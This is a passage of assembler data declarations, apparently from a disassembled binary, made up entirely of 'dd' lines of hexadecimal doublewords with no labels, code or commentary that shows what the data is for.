572E8801h, 20D07045h, 7C20F641h, 880627FDh dd 3209C05Ch, 6C2B7E34h, 1A978686h, 77FE5DEFh, 0DE41D196h dd 2D4D6842h, 6FC76D2Ch, 0C43E157Eh, 0AFB045Bh, 6B3DC123h dd 9F3CCF8h, 6A5EF024h, 0EC8DB70Bh, 44772251h, 4F999C4Dh dd 901080ACh, 0A958263Ch, 0A9FEF942h, 838DDEC7h, 0D6DF26Fh dd 0FFA916F5h, 0BCA6AF2Ch, 70CB8253h, 4255CDB0h, 3852DF50h dd 1270E1B0h, 64B36EE1h, 0B3440185h, 0E0552F57h, 4C3B67CBh dd 0A110AB7Fh, 60250274h, 0D573BE75h, 0E135DC00h, 3B25CE31h dd 55F06109h, 0F14E7DF6h, 0F522BBA4h, 0B4ED0BDCh, 67001A3Dh dd 0FEDAC4C5h, 0D12175Bh, 0B01D1FCh, 6872581Dh, 52A33A86h dd 0AA2FB048h, 7C5F7762h, 6CED719Ah, 0D8124A9Eh, 0DAE140ECh dd 0A2B543Dh, 80E01EBh, 34966CACh, 14A9CAE4h, 6608441Bh dd 0D5D7FC14h, 0A50CBF03h, 0D6D329E2h, 4562BB8Dh, 9C05F50h dd 0BD2F62AFh, 0D5844071h, 190B242Ah, 747D04CEh, 9134C2F9h dd 269BF95Fh, 206724A4h, 76F8C427h, 605E0B22h, 3E47D7DAh dd 69B47717h, 3104FEF3h, 0DAEEDE7Bh, 560869DFh, 84DFADCEh dd 0FD82F07Bh, 32E30905h, 7E4E0FC1h, 0BC299C8h, 4DD07F45h dd 8033C3DEh, 3077CFFBh, 6FFE5F0h, 0FCE097EFh, 12E67129h dd 5317E4B0h, 0E7095C78h, 0EF4DD861h, 9AFDA874h, 83EB1B7h dd 0ED92F8D2h, 0EDECA1BAh, 0F0193B07h, 32205EB9h, 0ECA14B20h dd 5F47A6A7h, 59E16C6h, 0EA55463Ah, 25820D9h, 2BD74C31h dd 0A805C7E0h, 0F901C8FFh, 52AA7495h, 9D12FF48h, 1CC7535Ch dd 3C852F72h, 2DECD3E9h, 4602212Ch, 0F6B7917Eh, 0C406BD1Eh dd 0A22B88FAh, 0E8DDA541h, 8279167Eh, 1F5E5ECCh, 0DBDDF412h dd 8422B82Fh, 0EE4BBEB5h, 0D9F74377h, 0EA2E3619h, 2D498A30h dd 0AD175EA8h, 3CD391Ah, 0E906EB53h, 0ED594BECh, 9A1488A8h dd 0E79CBE1Fh, 5A5B0384h, 4157E6E4h, 0EA5C3062h, 445A3B7Ah dd 4D3800E8h, 6B458CEEh, 0BB03AF0Dh, 0F66D5B51h, 0C31C02C0h dd 0F5298D1Fh, 0D188641h, 7C2D017Eh, 0FC72CE27h, 0C7B78E5Ah dd 4E97BF18h, 0ED8F9D8Fh dd 18B6429h, 31BEDA4Fh, 5AEAA81h, 64067AF8h, 48DF36BEh dd 48B9294Eh, 7AF28CF4h, 0BC99284Ah, 86592420h, 6274BE01h dd 42E94D64h, 0EAA527CBh, 8B25BCDAh, 9761EE3Ch, 60C296DCh dd 0B02ECCA7h, 0C50D4BA9h, 8620EDB1h, 90636AFDh, 0D24D1E23h dd 994BCB7Dh, 9E889774h, 7ABD6379h, 3E5338D9h, 0A84A1BEDh dd 26107723h, 0FE1C1B37h, 1396AE23h, 7A33A13Fh, 58010AD2h dd 0FE1E98A2h, 0E4FA4B5Bh, 211794D7h, 44FB187Eh, 2AC3393h dd 0D50C8B54h, 3C64CC79h, 22571EAh, 0D571A78Ch, 4B470401h dd 0D562AF60h, 0B2E9ED81h, 7F7BC27h, 1D51D550h, 0D9B5C9BFh dd 0CB6BE2DBh, 4E28B245h, 0D2F8024Eh, 0B8F6E9A1h, 0C276F3D6h dd 315ED279h, 0D55AFA82h, 6F965CB1h, 68E025E8h, 4CBF5698h dd 0F4EB4111h, 0BB5B3A5Eh, 9B6ED6B1h, 86942FB7h, 73C728EAh dd 96ED9449h, 0ABEDC575h, 0E9C987F3h, 0E4E43B89h, 908FFA97h dd 43364048h, 0E7FEB2A0h, 70F80125h, 13315D46h, 8631BE4Ah dd 0A26E2C23h, 0E8EF7359h, 5E82CCE5h, 25522D66h, 501C4DEEh dd 5C811C68h, 0C5315801h, 507AB33Bh, 0FF5A69FCh, 0AAD6E78Bh dd 0B5E4D568h, 0F145488Bh, 6F9A1A3Fh, 0A9DC771Ch, 617BD6B2h dd 177B3687h, 929EFA40h, 0FECDE462h, 2BA41671h, 811D3500h dd 4139E948h, 0C6A6925Bh, 5BE92D38h, 5C510973h, 0B8522E5Ch dd 81BCE73Ch, 3BAFD980h, 9E003DC9h, 78308AB0h, 50583BC1h dd 83F0AA4h, 5725FEDEh, 0A3C9E910h, 3A62270Bh, 6BF0A049h dd 2DE96E8Eh, 0D47BAB12h, 0CF685682h, 0E94AA164h, 342498B6h dd 9309045h, 0E0A8F226h, 5549978h, 0DC60DA59h, 2AD0B982h dd 9750988h, 96FD59CEh, 306E0BF7h, 0ED543DDh, 0CEB94934h dd 8B5C536Ah, 64E6B086h, 5D305825h, 0ADF17D9Bh, 9AC022A5h dd 48965D5Ch, 124CCCBFh, 0EC766853h, 62E9C21Fh, 0AAFFDECAh dd 0E1194CDAh, 5590F180h, 41650F50h, 0EFE60Eh, 0E9CB2984h dd 6EB55DF7h, 325D9D52h, 36D175C0h, 0A26DB2Fh, 62954C66h dd 0E55EB4E9h, 17E7CC3Fh, 0A9C9F153h, 0BF06A4FCh, 88AF2D98h dd 5696A3B1h, 3FA82008h, 4A69323Dh, 5DC9587Eh, 60E48171h dd 0F98B13BEh, 53F1F598h, 29F6C06Fh, 0D0B576DBh, 3FF89711h dd 4FA43720h, 3083A158h, 0D5603825h, 5125058Ah, 3A034CCDh dd 3FBF5701h, 0EC6FB00Ch, 712A8B9h, 4EAF1A59h, 0A906F2F6h dd 750BA611h, 4077D2C2h, 2C6C2DC8h, 0D089D4Fh, 6EDD0E43h dd 0BFAB52C8h, 0FBEA8725h, 3EEC4AB1h, 7710BA4Bh, 6BA030D1h dd 0BA7AC725h, 60CF2C2Fh, 0B1086604h, 74654B18h, 56215B0Bh dd 0D9F62F8Ch, 77939252h, 777A73FCh, 84A5907Eh, 0C7F5E7D1h dd 168CA22Ah, 50F858C6h, 202E5E18h, 0F4E4CE88h, 765DE2A2h dd 590E5CEAh, 7F1AF480h, 0E31E429Ch, 9465EB1Dh, 3D22CD99h dd 0DA566106h, 8B203558h, 0DAF728B6h, 3F5C41ADh, 88A0ACFCh dd 0C3E653F8h, 5928C8C9h, 72E906EDh, 0BE0038A3h, 38B33BE0h dd 1761E681h, 0E1482554h, 0C5364012h, 476F4E68h, 8E79C00Ch dd 25D3E970h, 66E4FF05h, 2904F205h, 3DAE5D5Eh, 7F0CA58Dh dd 0E90489C5h, 41EFEAB8h, 1C3B30EBh, 8B972B27h, 5E6AC2D0h dd 85FA9FF6h, 586C8520h, 3E379E28h, 0B3D4FC89h, 1D94809Ah dd 0D72DEAC8h, 0D0420DA5h, 5AE3681Eh, 6FEA18B7h, 4B5982CCh dd 4A4EC42Fh, 0E9AA805Fh, 1CBAAA2Eh, 490E712Fh, 0FA23F80Eh dd 61DE414Ah, 0D83FED5Fh, 0CA1234F2h, 11093255h, 26845DD3h dd 0ABE1D45Ah, 0EAD5A045h, 662C71AEh, 15628B8Fh, 0F2B346C2h dd 0F3487811h, 9628BA3Ah, 0B4C14AFEh, 11700A95h, 0ACF1134Eh dd 217DC96Bh, 4002C302h, 7D6B1235h, 5F10696Ah, 1712D472h dd 0B194BC4Dh, 0B100F5CFh, 0C4A088D6h, 2BD60AAAh, 0F2B86B13h dd 0B2176A12h, 0C1B41084h, 0A9FADD0h, 82BB6D10h, 2CFD055Fh dd 0CF02DE7Eh, 5DD8F3FAh, 0BAEC91E3h, 33D455A1h, 0F4487301h dd 0C6783D26h, 120684CFh, 0BF840007h, 0E96B764Ah, 0FF0B744Fh dd 9A4ED049h, 9BD11318h, 0CA300B27h, 0EA4AACECh, 585C01BEh dd 6A21E2E9h, 0F1124F93h, 54213F5Bh, 4AF8FC6Eh, 0F4CEBAF8h dd 0BBBF02F0h, 0E00F022Eh, 306395CEh, 0B3961C74h, 4C139A34h dd 0B6A080E9h, 0EE03ECC0h, 0FE6F4BF1h, 256825C8h, 54DA3B1Bh dd 0D199C0B5h, 498097E3h, 3CEB8106h, 0E699CB02h, 0B237BEE9h dd 9305C1D4h, 0C3E3B981h, 0A4231738h, 42000440h, 40718C5Ch dd 4EDA0125h, 0F5E921C2h, 0A0D16EC9h, 0ECE55502h, 0EA131BDFh dd 55DE1008h, 0B2BDEE4Bh, 34860C62h, 0AC5A1261h, 0E96FB5E4h dd 0A739573Ch, 2C6EF1EEh, 6EE94E46h, 4A8BFFE5h, 92E4A11Ah dd 0A63D6757h, 0C07E42CAh, 576766FCh, 6AC5E8A2h, 9C82D515h dd 0EBD658C2h, 57380C2h, 269B8328h, 8903A758h, 53EE625Fh dd 27830B91h, 0DF974D14h, 0DEE92521h, 0D6B96B6Dh, 297DEFC9h dd 7776893Fh, 0DF294BA0h, 0EF9AA8E9h, 8DB7AD48h, 7F2099B8h dd 31E04B1Dh, 6AD468E4h, 4EE5F4D8h, 8911B39Dh, 36E85D5Ch dd 0E4BEBFEDh, 0ADB3F6AFh, 0D150CF46h, 5E4175D5h, 6815026Bh dd 5F714BD3h, 17A85080h, 4DEB31E1h, 925E6B5Dh, 98FCDEF8h dd 1743DD4Bh, 8EF057FAh, 33384A04h, 17ABC1E9h, 10C9CB88h dd 0C13E66C8h, 0DFF7088Ch, 26121B3Ch, 5113483Dh, 0B8FF8E0Bh dd 0D05AD7A8h, 0C700D54Fh, 460F1248h, 9FB0DEF7h, 9D8F9D20h dd 0BF69CA82h, 89E67509h, 8F2077A2h, 6D40A4EDh, 10BB0B5Ah dd 0E91708E0h, 546CB0ACh, 0D98B76BDh, 0EDD5FE87h, 987E25BCh dd 68EE51h, 5BF80E70h, 0C749D02Ch, 0A7D94B22h, 55C5241Bh dd 0BB5D9742h, 8001B7D0h, 0D5892D20h, 51BA1B80h, 0C99F67E2h dd 0C289AB87h, 0B7E4D042h, 0EB4AA798h, 0CBDEEFA9h, 0CC902320h dd 0BD091B1Ah, 81F72974h, 7F677584h, 5BCD80C6h, 0FD0AC24Ch dd 0D1781721h, 0CF015E09h, 0D0834065h, 0F0390633h, 12750ECAh dd 164A7E8Dh, 0AC47E0F2h, 5F786812h, 67B76E30h, 17534EE9h dd 51CBC7Eh, 0F11452D4h, 0E999A0FFh, 7109775Bh, 89A60453h dd 23685000h, 2F5C1963h, 0BB854BF0h, 984EA3FFh, 4ED4E907h dd 6BD8376Ah, 0A513B010h, 517625BFh, 606282h, 8E4056BFh dd 2F21148h, 0ED925F87h, 0EAC05F31h, 5C9F59CDh, 0D1DF7A3Ah dd 91F644CCh, 0C9DBF731h, 75E730D3h, 5D406D7Ch, 0CF1F26E9h dd 5F8169D2h, 7E6BFC58h, 422E4A3h, 4A805C5Eh, 0EDD328A2h dd 7A10DB2Dh, 0F5880102h, 6E5C05Ah, 6C284B61h, 0BA4E259h dd 0CD0F6B6h, 5103EBF4h, 0ED80C7B5h, 0F9DDE3A2h, 0B93403E6h dd 535A07D3h, 2D5B5Fh, 13DAA77h, 705F828h, 4A2E925h, 0E1FB68FFh dd 0A2553C46h, 0B1D17731h, 952DE90Eh, 26905BC4h, 9D30C345h dd 8020A9D7h, 0F2EBF4DCh, 34F49F3Ch, 9412E958h, 0AF211222h dd 30C1322Ch, 30606EEh, 0D4AC968h, 0BC7B5189h, 0EEAD963Ah dd 0AFA41E17h, 1F2C1A8Ch, 8B19224Ch, 9C7FDC9Fh, 0A831FD2Ch dd 2B135C55h, 3801DDFBh, 96C85E89h, 0B3CE5CFEh, 31353216h dd 0F6D5EC7Dh, 4F21E946h, 90B94070h, 660A283Dh, 0BBFB71E9h dd 46FD5897h, 13195E10h, 0C4EF05ADh, 0C42CEBDFh, 0BE601785h dd 86730042h, 0E91DD23Ah, 53C4ECE6h, 0CBEE51AFh, 0C20F0977h dd 1C4675FEh, 0F78B0DDFh, 0AC32904Ah, 99183D7Eh, 0FE06AF96h dd 0BD070764h, 57824F6Bh, 0B0C8FF29h, 332C2A69h, 520F3A3Eh dd 0C068C74h, 0DD751346h, 650AB5Ch, 140C6808h, 2F482048h dd 42133629h dd 0F15647C2h, 0ED0CA4Bh, 0C34BD831h, 2D874CF5h, 5D0157E9h dd 0E150CA01h, 5EFE3CDBh, 0EE5A93F8h, 0AF410D34h, 0F4F1FBBh dd 0ABDB857Bh, 0DF318C8Dh, 5402743Ch, 1CA0685Eh, 4465037Eh dd 0A400EA57h, 68F457BBh, 0A9F2B501h, 0E4A2404Fh, 4254E15Fh dd 67D8C7E6h, 30F0DD94h, 6FDBB9E1h, 0C807DCEEh, 0D3E9422Ch dd 89A88E70h, 3D547D68h, 0F260D483h, 6DC12D1Ah, 0B1264AC5h dd 0C1070424h, 56B67EAh, 0EB817B05h, 7C5DF1FBh, 0F8AA6226h dd 3C680153h, 591AEC07h, 0C181410Eh, 172D819Bh, 0BA7886E9h dd 5FD2FA4Bh, 52E8DF66h, 0A997BB6Fh, 0CBAC5D9Eh, 0F09AE0Ch dd 70582E93h, 0C4E92C05h, 5BB7BCADh, 0DA8CA2F7h, 28CD3AEEh dd 0E66AB5B6h, 1B2F7D69h, 93C15988h, 42A2EE5Ch, 0F3DF5DB2h dd 65D12D30h, 0D7E55DA7h, 149A5DA5h, 0C1E2F9DFh, 30E9F766h dd 644F201Dh, 0E1C5A9F9h, 0AC8E02BAh, 0ED85B353h, 5CF6AD95h dd 0A71EDE10h, 8153AF89h, 8AB321FCh, 0D971E13Bh, 6AB90064h dd 0C3AE3DF6h, 0A6019125h, 6076F480h, 9B5B1CDh, 19DB75A9h dd 9C97912Dh, 0F8688B8Bh, 1F2FF772h, 0C538448Dh, 0BABFAF26h dd 40421ACCh, 4EF857B9h, 67A55212h, 90C7ECE4h, 0ACF042Dh dd 0A34BAEE9h, 70D125EFh, 785CB55Fh, 41F3E8DBh, 5F020944h dd 4604DF89h, 0C20100C7h, 0BF5A1A88h, 2989385Ch, 10888BFBh dd 9F5DEAD9h, 0E0E3B47Ch, 0BD3000F7h, 57586EA0h, 504A1168h dd 124F628Ch, 0AA648701h, 0DEF7A105h, 9B2C7EC0h, 878C5F9Fh dd 0EBC3957Eh, 0BD0C3796h, 8297435Ah, 0B90B022h, 0F74914D6h dd 22552269h, 9283C847h, 3443D15Dh, 0D60D0068h, 6A4B3A7Bh dd 600E3E80h, 67A22D06h, 311AD013h, 4E6ECCEFh, 0EF0C4298h dd 0C664C72h, 0C52313D2h, 3D4EEF3Eh, 2A5D657Bh, 85F2E8C2h dd 95125E07h, 522D78A6h, 39325Fh, 775880D5h, 0C2C1A218h dd 6B080F80h, 8439CE51h, 539B98E4h, 0BD5AB107h, 2033FD0h dd 25E9424Eh, 17E8FADFh, 0B729A6h, 717AED26h, 0CC05BD7h dd 97DFB511h, 4DFC012Dh, 0E8291F95h, 0EA074405h, 6FFFA061h dd 83A4FE05h, 0F6EF40D3h, 74CDDE5Ch, 5AFBC995h, 0B131FC2Fh dd 2C9D30ABh, 0A9F0135Bh, 0ECB996EAh, 0E0688B81h, 81B92826h dd 41E909B6h, 28818AB8h, 805966EEh, 0F0DE30C6h, 0F4905A70h dd 9F8AF14Ah, 0A25EB518h, 2C24DDB2h, 0D517C59Fh, 0F12FF8E3h dd 9C7D720Bh, 66FD2FD3h, 1587274h, 0FCBFF8h, 0CFE1DA68h dd 9A78ABE9h, 0E1F7B14Fh, 4BFA2CB6h, 0BF4D3CFEh, 9D9BCB09h dd 8875C84h, 0BE00D97Bh, 5D6F44D1h, 4B0EF657h, 0E1D9893Bh dd 3ADB253Ch, 55B12FF8h, 0CF20A8B8h, 0A222630Fh, 0F12F670Ch dd 501F1ABAh, 0D17F6189h, 0E2E98B71h, 311E5678h, 366459CFh dd 8EFBA53Dh, 1471D74Dh, 4E2CA03Bh, 0D62EE498h, 74E2F927h dd 7762F49h, 59DCBA63h, 0DD109E7Fh, 0F8B61F6Eh, 0E1488CCh dd 5919D50h, 0E2ED2B83h, 79DF5DC9h, 5BE9E7CEh, 0B945E58h dd 97DE801Ch, 4752C3D7h, 6010E9B3h, 0F289166Ch, 0B60E6CF8h dd 8D5F4715h, 2E31B07Ch, 0B82F43A5h, 0C90B93BFh, 0FFAA2931h dd 7ED18863h, 4DF448AAh, 1D69C890h, 1DF0550Ch, 750989B9h dd 7CCDEA8Ch, 0BF77ACE6h, 473F5118h, 72FECF1h, 605F8E41h dd 49334261h, 0B0BB0253h, 317637F7h, 0CA09C7E0h, 0E462E926h dd 59D1218Bh, 0ECD562EBh, 5B05F70Bh, 6EAD2D39h, 3DC40DB2h dd 0DF72A835h, 0BD1161EFh, 1F1B41A6h, 60CB08EEh, 853B6C2Ch dd 25BB63B2h, 0DEA81CAAh, 0C41892C7h, 0A483C1D0h, 0C8B800D9h dd 7F27A7Dh, 0F62E6C05h, 8B46F208h, 8A8331DCh, 0D979EA9Fh dd 8B245F1Dh, 496DECFBh, 4202DE7Fh, 0F701375Bh, 1FC28960h dd 0CE989775h, 0E526AB79h, 13089028h, 95117B3h, 187F1189h dd 0B5051AC2h, 295A3EE6h, 31CD12EBh, 8318807Eh, 44C3E295h dd 0E7C0F485h, 5AAC43EBh, 89E0A0FBh, 6FFA20EBh, 7868F040h dd 0B9F19777h, 962FB248h, 13681590h, 4510D874h, 0DD2918B9h dd 0B75DEF8Ah, 0D9087B5Bh, 8A42189Fh, 38E361D6h, 0ED7702AAh dd 92982DDh, 59E00F7h, 4E7CEFh, 68972D40h, 0C80114FCh dd 0CA0747F9h, 0BA591211h, 350D996h, 2B9571E2h, 6C40FA29h dd 87255F08h, 0E2EC5F14h, 0FF5D9331h, 0D9882C34h, 0F1936554h dd 49B112C4h, 772BEE3Ah, 0BB32E905h, 20A3AFFEh, 0D756E2D6h dd 7D844335h, 0CA4E8CECh, 63A95E77h, 0B4D5C72Dh, 0C4DA4F31h dd 98F8AAFCh, 0ED13F4h, 0F4472D08h, 2F61BE6Dh, 59CE310Bh dd 9E01C13Eh, 0CB026D61h, 0E3E98CD6h, 6C859529h, 312CC262h dd 0F20A7340h, 40107225h, 827F4985h, 0A060B724h, 0D99D5AD9h dd 3C08CD18h, 0F75F0505h, 8F04FDFh, 959C264Bh, 2F0FACD3h dd 0E9AB017Fh, 856D1348h, 0F191BF4Ah, 0C150F302h, 2D103AC5h dd 0E5D2317Ch, 7552ED1Eh, 0E409D464h, 841DCAEAh, 82FC1824h dd 8AD48A4Bh, 3462D7C3h, 3938F7ABh, 1C0BC3BAh, 0DC311F48h dd 6C777201h, 12389429h, 2860FF53h, 88C3167h, 0A861E969h dd 0C0177B26h, 8041EC0h, 2CE83A28h, 0AF0A5934h, 55D0BDB2h dd 0E9AF214Bh, 39163E5Bh, 0E812881Ch, 882736C0h, 685909EFh dd 0BFF61E93h, 39E0A365h, 86F17B3h, 6827AFD9h, 0D73C71E2h dd 45D7B8A9h, 2CCC808Ah, 59E91EE8h, 1AE3A44Eh, 5EEB6C62h dd 506AEB0Fh, 0E976BF11h, 0BF530269h, 81450057h, 22092AF5h dd 0E555296Eh, 615FA59Eh, 0A86A3158h, 92E983D2h, 2A5E75F4h dd 4BFCB41Ch, 1DB5ECF8h, 4C10918h, 0C6A50BDh, 419DC430h dd 0AA787EDCh, 0C48A35E9h, 0BAE3FFB7h, 73049A4Ch, 0BB7FEF44h dd 0D0905FFCh, 7E649C0Eh, 38FC0232h, 76606045h, 0C3273CFFh dd 9C0D747h, 0F9A38FB5h, 2938D2B5h, 0FF25095Ch, 0F85DAE41h dd 619A8A82h, 0B33CE20Fh, 45AE4464h, 4CAC61BAh, 1770062Fh dd 0A8DE1296h, 0EE592512h, 0B9DC9FE6h, 66120769h, 0BDE176FEh dd 5BC2FC3Ah, 81DCA8E5h, 0D7D49D44h, 5E881B4Dh, 7C275A18h dd 643B705Dh, 0A42F5D81h, 44148E30h, 0F9C1FDFh, 0D74C2565h dd 7421A2C1h, 0CAE6B0C7h, 6202067Bh, 645EE87h, 0FE76F6F6h dd 22100F30h, 97231B06h, 56AB000h, 76BD0DB6h, 0EAE916A9h dd 0EA56695Dh, 7D58F3F0h, 1954EE4Ah, 7E304316h, 0E8A2EC18h dd 4FB8315Ch, 25DCCEABh, 51397F5Ch, 6056B5Bh, 55B5B21Fh dd 646646F2h, 0EA5A205Eh, 0EAC6DFE3h, 71B798B7h, 167D496Ah dd 685609AAh, 76E738A8h, 0F4505E8Ah, 7F485410h, 8478BC4Ah dd 0D10590BFh, 0CA6FF0E2h, 42FDE0Bh, 4C87818h, 0B998D66Fh dd 99ED9729h, 0E912467Ah, 0D3F5EFADh, 0EF8041DCh, 0A12DAF2Ah dd 5082303Eh, 51165668h, 768A4E1Fh, 5A062D00h, 83052996h dd 0D7D7813h, 0C34063BAh, 19D1DFAAh, 8F96A08h, 65436468h dd 0EFEF250Ch, 884CE25Dh, 0BD0F8F5Eh, 83F1802Bh, 98753E2Ah dd 3BFC3BEFh, 16D895F4h, 0BCB8F7E6h, 822C1D9Ch, 0DFC555A5h dd 84AC16C4h, 84B44B48h, 2A66C133h, 0E93DF87Dh, 0FF5C14B8h dd 1E57FC2Eh, 0B93D9C68h, 60AF8B5Ah, 7823B838h, 0BF715A2Eh dd 1BEF313h, 50633E07h, 4B192075h, 33674C12h, 4DE75FD1h dd 7F405202h, 9C3E2BEAh, 2E752649h, 3FA15FB8h, 4F8E57CAh dd 104868C2h, 95459F7h, 940E88CCh, 515FC809h, 0ED5FC9D1h dd 5BFE8B81h, 2782B075h, 0D5DC9521h, 68D3E962h, 0F68555Ah dd 7D4F4075h, 16CB3A66h, 37FD0509h, 0C3CC8246h, 0B6EE5606h dd 537D0D4Ch, 1D9054Dh dd 2080BD55h, 809838CFh, 0C72816D2h, 0AB4B13EEh, 0EEE44EF8h dd 5B13AFCAh, 52B86479h, 97CDA8CBh, 6F6F79FAh, 0B992B5BDh dd 0DD19C480h, 0BE05DF14h, 832E0E56h, 0CF99D83h, 0DAC36EEFh dd 82D55A2Fh, 0F6F46585h, 71B7360h, 0F0E91274h, 70512D90h dd 0B841801Bh, 82A1F22Eh, 7101D068h, 5E5389BEh, 4BC479FCh dd 6DD43BB1h, 0BB48CEB0h, 68C8421Fh, 0D7D809h, 0D971EA15h dd 3EE91A65h, 7F4126FCh, 31D1FCC4h, 23146815h, 0AB90934h dd 3282775Dh, 0BD0054E2h, 0F83351F1h, 8ADD50F7h, 3B02160Fh dd 0BE6E0071h, 570374Ch, 76B0FA96h, 16E3A58h, 0CCF2810Dh dd 8710D91Ch, 2034E78h, 0A464E963h, 8107C6E4h, 53F5CC73h dd 20900CCFh, 0A62C85C5h, 4CA227E9h, 0EB083AD1h, 2B52CFDh dd 5BDA6790h, 90D4ADDh, 2C18208h, 0B9987579h, 0C63E2BB1h dd 0DAA6923Fh, 0F0E73B80h, 0FA6E5847h, 2D6F0311h, 79FB1AC1h dd 835E9F7Dh, 0D93106E1h, 81DCB93h, 75EC8743h, 8038BD14h dd 0CF7AF06Ah, 0A4F14B29h, 0DF9D5F9Ah, 0E7C09F9Ah, 0BF81699Fh dd 0F87335C4h, 166302B8h, 0F8316747h, 0D6C2F0FEh, 77256232h dd 7866584h, 538136EBh, 32F45245h, 6C64382Eh, 44411CF0h dd 4950CA56h, 544E630Dh, 518D4CF3h, 88E0010Ah, 1D5E03EDh dd 68DB43BAh, 6CB97BDh, 47E727D1h, 983BA3CDh, 2284157Dh dd 13429908h, 219A2C11h, 9D8F1009h, 447BE6D1h, 4284F59Bh dd 13EB22CBh, 7720DDFh, 0F9F3E2Dh, 0C9680F80h, 0A6004132h dd 5E05EC03h, 496BBh, 5AFDA4CDh, 29C86B85h, 80A3D23Dh dd 0BE618E65h, 0E42CA71Bh, 0D5EA0056h, 82402938h, 0D60F579Ch dd 0E0B33A8Fh, 0C4F559CAh, 64E7005Dh, 74750CD8h, 4603FF30h dd 40E0836Dh, 7BE2808Bh, 47E801D6h, 0CF54D7F2h, 0E4FE3005h dd 8AF05624h, 0CC4F7A01h, 1AE45347h, 0D680E3DDh, 0FDA1A946h dd 4007C341h, 3EE18473h, 5B2BCEA0h, 0B45361CDh, 61C8129Bh dd 8E3E64E3h, 7F54F300h, 0DA31D06Fh, 56F900A0h, 38D77281h dd 2F03D6A3h, 1AB7ED90h, 4299C8DFh, 0F4933B36h, 3B360EB1h dd 0C4F6EC3Ch, 0D4C2413Bh, 95005681h, 6BE86DADh, 0C87D92h dd 0B757ED3Eh, 15B25522h, 2EB5300Ch, 0C21DAFh, 0EB72A444h dd 48D857DEh, 1754C460h, 3552AB1h, 1DF27918h, 33D0B053h dd 0D0907493h, 0DB615400h, 136AFA9Dh, 0CF6F0005h, 39C3B3Ah dd 640007F0h, 0E3D9FE94h, 2F45CA49h, 0A881AF95h, 2F7914E0h dd 0B356B8C0h, 10F8E71Ch, 5DF800FBh, 0A54C25BAh, 3D3C5F02h dd 13B68094h, 6E11B4BCh, 0BD5C0099h, 7AAC51Ah, 0CF587668h dd 0FCE533A5h, 6D3BD0E8h, 0B45B0096h, 7A8F2F1Bh, 3D07DA7Dh dd 7916B9B6h, 43DC7B80h, 22C900B0h, 4908D685h, 0CA00B41Bh dd 0B5A71D87h, 49B10284h, 113FA63Eh, 9639DC83h, 529D6B90h dd 0C460009Ch, 5D6CF125h, 39F5D650h, 0EDB1FA00h, 5EE38359h dd 0F408009Fh, 0D154F2C4h, 5000F702h, 97D6ADB0h, 0A09E75F8h dd 0B694FEh, 11DCF312h, 1A05D572h, 807B95A9h, 0E37A9C7Bh dd 24E05FE6h, 675756h, 0E7FC9B29h, 0C20C6508h, 0E6C00950h dd 0EB127119h, 7A078EF8h, 0FB9E0038h, 0CD6A09E4h, 0A6004926h dd 0C6DB32D2h, 2C31FE43h, 8078E2A9h, 0A346E113h, 8303224Ch dd 3CE30FE4h, 8A25D09Dh, 7B0E7h, 28BA9F42h, 8629D0A9h dd 0E4877100h, 20BFAE45h, 8D6A0181h, 0F09347EAh, 2F5DF73h dd 9E2405CDh, 0DAA96780h, 6105FE99h, 0C7B045E9h, 2CD6AA80h dd 0F3F01425h, 6C05B17Fh, 0BB13BB2h, 0A8631FC7h, 8A96A392h dd 50535220h, 6AC2Dh, 0FC830ABFh, 3D1190D2h, 46DF6513h dd 1CB3D00h, 3637CDh, 0FAF5FE97h, 0B579BE57h, 866C9A00h dd 0F96FD998h, 0F64E0B6Bh, 0EE24745Fh, 8E2AC9E3h, 0E6DC4BA4h dd 0A80E86h, 5CDF6BD9h, 0DD60E276h, 0FBE05618h, 26D57390h dd 125BCA4Eh, 0A20A008Fh, 0AF9B34D3h, 588D310Eh, 0D79580B3h dd 396DF4E8h, 8700D95Ch, 202AC36Ah, 2900BB80h, 2BE4FEEBh dd 0ADFB9Dh, 0A71CCD73h, 36BD4B07h, 0EF8A6901h, 0BB54F456h dd 7188E0DBh, 27380068h, 24D67A10h, 0A93B2C9Dh, 0EE5F8423h dd 8D80EA4Bh, 6C349CCh, 0ADA027E8h, 0C8039267h, 0DD0479D4h dd 89CA016Bh, 0D72CCB6Eh, 0DA572098h, 7BFD9C00h, 16EA68E2h dd 0D442016Ch, 637738A3h, 0E5802FBEh, 1262FDEFh, 404E28BFh dd 0B958FFEDh, 0E7925122h, 6B0EB500h, 0F4FDD406h, 55AA024Dh dd 2D9781Bh, 1EB58C60h, 0BAE5100h, 26B73CD7h, 2490E7h dd 3ED27039h, 149B22A7h, 2E57F44Dh, 8200A36Bh, 0DDC72A17h dd 0D01CE462h, 5328C30Fh, 74813BC5h, 499D3212h, 0B1815FBCh dd 318E5719h, 7E5CE854h, 8CC75B60h, 2622C560h, 0A47A1CDh dd 93867288h, 78D64094h, 994B2ED1h, 9A413800h, 7518E0F7h dd 0F0FD31D2h, 301E59C0h, 6B18EA38h, 6CC715E4h, 87BF4883h dd 0C11123C4h, 0EC5F6508h, 890C667Bh, 70AA49E6h, 98600093h dd 0A28C58F5h, 3607A1CFh, 13D0054Ch, 0E1410EC9h, 85975B92h dd 0BAAAD570h, 628360BBh, 0F37514E2h, 25BC5A05h, 0D2C221A4h dd 1F504056h, 4D2212A9h, 444E001Eh, 0D16A9CFEh, 2E388C24h dd 7643A713h, 0C6C74CBAh, 0BB49260Fh, 0AC391E35h, 0F25880ADh dd 615B946Bh, 79F79207h, 7890E0D5h, 759F1435h, 35158CDh dd 383BBF00h, 0AD4AC095h, 0F5D46900h, 980DF16Eh, 0A28F0E46h dd 0C05DA124h, 6BCA72E6h, 672607D0h, 1F007392h, 3C0CAFC8h dd 968C01BEh, 0D5058AF5h, 39E2C82h, 8326C1B3h, 2D0CE6Ch dd 7D1CC3AFh, 4A628566h, 0DA7FFA48h, 0F009C813h, 27518600h dd 40EE584h, 4AA140DFh, 0F376C02Dh, 0A28D350h, 6512D9E6h dd 3C32BE84h, 0EA6E20E2h, 600805Eh, 0F494341Eh, 4BD238h dd 37DA7974h, 9936D5A0h, 9BD7AC1Fh, 4FEF5BC2h, 4662C0BAh dd 3C88489Eh, 35A56A06h, 505AC71Fh, 4D117CF0h, 2602C7E5h dd 0E80BE07Fh, 201C9549h, 6D006F32h, 43E68D64h, 21C4ACh dd 0ED8C697Eh, 17BAB54Ah, 0BF467806h, 7AC7B940h, 902B58D8h dd 1EB75A0Fh, 59F69D41h, 5DDF60F1h, 8B6A0807h, 215FF9DEh dd 109285ECh, 30840BC8h, 0E5F27A52h, 700DC5Fh, 0A2A845E8h dd 0B52012h, 2A399488h, 713EC386h, 42E6850Ah, 8002DAADh dd 0C037338Eh, 